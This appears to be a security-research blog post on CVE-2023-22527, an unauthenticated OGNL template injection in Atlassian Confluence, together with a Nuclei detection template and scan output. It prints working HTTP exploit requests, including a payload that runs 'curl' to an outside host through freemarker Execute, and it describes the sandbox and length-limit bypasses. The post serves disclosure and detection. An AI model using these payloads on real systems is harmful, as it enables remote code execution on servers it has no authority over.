6 min read
Atlassian Confluence - Remote Code Execution (CVE-2023-22527)
CVE-2023-22527 is a critical vulnerability within Atlassian's Confluence Server and Data Center. This vulnerability has the potential to permit unauthenticated attackers to inject OGNL expressions into the Confluence instance, thereby enabling the execution of arbitrary code and system commands.
Technical Details
Initial Analysis
The CVE description provided by Atlassian made it clear that this vulnerability was automatically rendered unexploitable in version 8.5.4 due to certain incorporated changes. However, the most recent Confluence version, 8.5.5, has also been released, completely eliminating the root cause.
When we compared the differences between versions 8.5.4 and 8.5.3 by patch diffing, we discovered a significant number of changes, including additions and deletions of files. This led us to spend a considerable amount of time examining various differences that appeared relevant, sometimes leading us down unexpected paths. Additionally, based on our knowledge and presumptions, there didn't appear to be a substantial unauthenticated attack surface, especially considering the recent CVEs related to Confluence.
A significant portion of our time was dedicated to inspecting files that had OGNL-related changes and potential vulnerabilities like dangerous sinks leading to OGNL Injection, such as findValue
and translateVariables
, among others.
While many of these changes appeared to be related to code refactoring, we couldn't find anything obvious.
Identifying the Unauthenticated Attack Surface
Drawing on our previous experience with Confluence, we were aware that the actual "views" in Confluence are rendered using Velocity template files. Interestingly, rather than accessing them solely through struts actions, they can also be accessed directly by hitting the *.vm
files, and they continue to render correctly even as an unauthenticated user.
Upon discovering these patterns, we began searching for template files that accepted $parameters
and then passed them to potentially dangerous sinks. We identified several files that directly passed the parameter values to $ognl.findValue or $stack.findValue. For instance, one such file is confluence/template/xhtml/pagelist.vm
:
java
1#set ($pageList = $stack.findValue($parameters.pages))
We set up a breakpoint in the debugger at the "findValue" function to ensure that we were reaching it successfully. However, when we attempted to access /confluence/template/xhtml/pagelist.vm
directly with the "pages" parameter, the breakpoint was not triggered.
Later, we came to conclusion that this didn't work by adding statements to help debug around in the pagelist.vm
. We found that $parameters.pages
might not be sent as String but rather an Object and later we found if we added double quotes around $parameter.pages
It would have worked. The following change works perfectly and leads to OGNL injection:
java
1#set ($pageList = $stack.findValue("$parameters.pages"))
Next, we simply looked for any findValue calls that takes in $parameters inside double quotes. And, to our surprise we found one in confluence/template/aui/text-inline.vm
.
java
1#set( $labelValue = $stack.findValue("getText('$parameters.label')") )
At this, point of time we realized we simply missed patch diffing the resources such as vm files. After doing so it was found that, this text-inline.vm
file have been removed in the latest version as well which confirmed our suspicion.
OGNL Expression Evaluation
Next, we put a breakpoint on getText
as well to be sure we are able to reach there and It worked.
Next, we tried breaking out of the getText function call and append our OGNL expression #{3*33}
but it was HTML encoded. Later, we used the previously known trick to use unicode escapes to breakout of function and append our controlled OGNL syntax and it worked.
http
1POST /template/aui/text-inline.vm HTTP/1.12Host: localhost:80903Accept-Encoding: gzip, deflate, br4Accept: /5Accept-Language: en-US;q=0.9,en;q=0.86User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.199 Safari/537.367Connection: close8Cache-Control: max-age=09Content-Type: application/x-www-form-urlencoded10Content-Length: 341112label=test\u0027%2b#{3*33}%2b\u0027
Now, to bypass the security restrictions setup by struts to exclude certain packages and classes to be accessed with OGNL expression.
Remote Code Execution via OGNL Injection
We looked at all that was available to us in the context by peeking at variables such as #attr
, #application
etc.
Using the previously shared knowledge from none other than Alvaro Muñoz we found a potential way to get code execution.
It was discovered that the .KEY_velocity.struts2.context
key was present within the #request
map. By using the expression #request['.KEY_velocity.struts2.context'].internalGet('ognl')
, we were able to access the org.apache.struts2.views.jsp.ui.OgnlTool
class and invoke the Ognl.findValue(String, Object)
method.
It's important to note that this class belongs to the OGNL library and is not part of Struts. As a result, this "findValue" call operates outside of Struts' sandboxed restrictions, as mentioned in the blog.
http
1POST /template/aui/text-inline.vm HTTP/1.12Host: localhost:80903Accept-Encoding: gzip, deflate, br4Accept: */*5Accept-Language: en-US;q=0.9,en;q=0.86User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.199 Safari/537.367Connection: close8Cache-Control: max-age=09Content-Type: application/x-www-form-urlencoded10Content-Length: 2551112label=\u0027%2b13#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue((new freemarker.template.utility.Execute()).exec({"curl rce.ee"}),{})%2b\u0027
But, it didn't work! Here's a small twist, after debugging it was found that, if the OGNL template is longer than ~200 characters, it is blocked based on struts.ognl.expressionMaxLength
setting.ognl.OgnlException: Parsing blocked due to security reasons! [java.lang.SecurityException: This expression exceeded maximum allowed length: getText('AAAA...AAAA')]
However, modifying the payload just a little bit and utilizing #parameters
map to pass argument to exec
method, we could bypass this limitation and execute system commands.
We've created a nuclei template to detect this CVE and added into nuclei-templates project - https://github.com/projectdiscovery/nuclei-templates/pull/8982
Nuclei template to detect CVE-2023-22527 on Atlassian Confluence instances:
yaml
1id: CVE-2023-2252723info:4name: Atlassian Confluence - Remote Code Execution5author: iamnooob,rootxharsh,pdresearch6severity: critical7description: |8A template injection vulnerability on older versions of Confluence Data Center and Server allows an unauthenticated attacker to achieve RCE on an affected instance. Customers using an affected version must take immediate action.9Most recent supported versions of Confluence Data Center and Server are not affected by this vulnerability as it was ultimately mitigated during regular version updates. However, Atlassian recommends that customers take care to install the latest version to protect their instances from non-critical vulnerabilities outlined in Atlassian’s January Security Bulletin.10reference:11- https://confluence.atlassian.com/pages/viewpage.action?pageId=133333561512- https://jira.atlassian.com/browse/CONFSERVER-9383313- https://blog.projectdiscovery.io/atlassian-confluence-ssti-remote-code-execution/14classification:15cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H16cvss-score: 1017cve-id: CVE-2023-2252718epss-score: 0.0004419epss-percentile: 0.0811520cpe: cpe:2.3:a:atlassian:confluence_data_center:*:*:*:*:*:*:*:*21metadata:22max-request: 123vendor: atlassian24product: confluence_data_center25shodan-query: http.component:"Atlassian Confluence"26tags: cve,cve2023,confluence,rce,ssti2728http:29- raw:30- |+31POST /template/aui/text-inline.vm HTTP/1.132Host: {{Hostname}}33Accept-Encoding: gzip, deflate, br34Content-Type: application/x-www-form-urlencoded3536label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=(new freemarker.template.utility.Execute()).exec({"curl {{interactsh-url}}"})3738matchers-condition: and39matchers:40- type: word41words:42- 'Empty{name='4344- type: word45part: interactsh_protocol46words:47- dns
bash
1$ nuclei -target http://localhost -id CVE-2023-2252723__ _4____ __ _______/ /__ (_)5/ __ \/ / / / ___/ / _ \/ /6/ / / / /_/ / /__/ / __/ /7/_/ /_/\__,_/\___/_/\___/_/ v3.1.689projectdiscovery.io1011[INF] Current nuclei version: v3.1.6 (latest)12[INF] Current nuclei-templates version: v9.7.4 (latest)13[INF] To view results on cloud dashboard, visit https://cloud.projectdiscovery.io/scans upon scan completion.14[INF] New templates added in latest release: 615[INF] Templates loaded for current scan: 116[WRN] Executing 1 unsigned templates. Use with caution.17[INF] Targets loaded for current scan: 118[INF] Using Interactsh Server: oast.live19[CVE-2023-22527] [http] [critical] http://localhost/template/aui/text-inline.vm
By embracing Nuclei and participating in the open-source community or joining the ProjectDiscovery Cloud Platform, organizations can strengthen their security defenses, stay ahead of emerging threats, and create a safer digital environment. Security is a collective effort, and together we can continuously evolve and tackle the challenges posed by cyber threats.
- Rahul Maini, Harsh Jaiswal @ ProjectDiscovery Research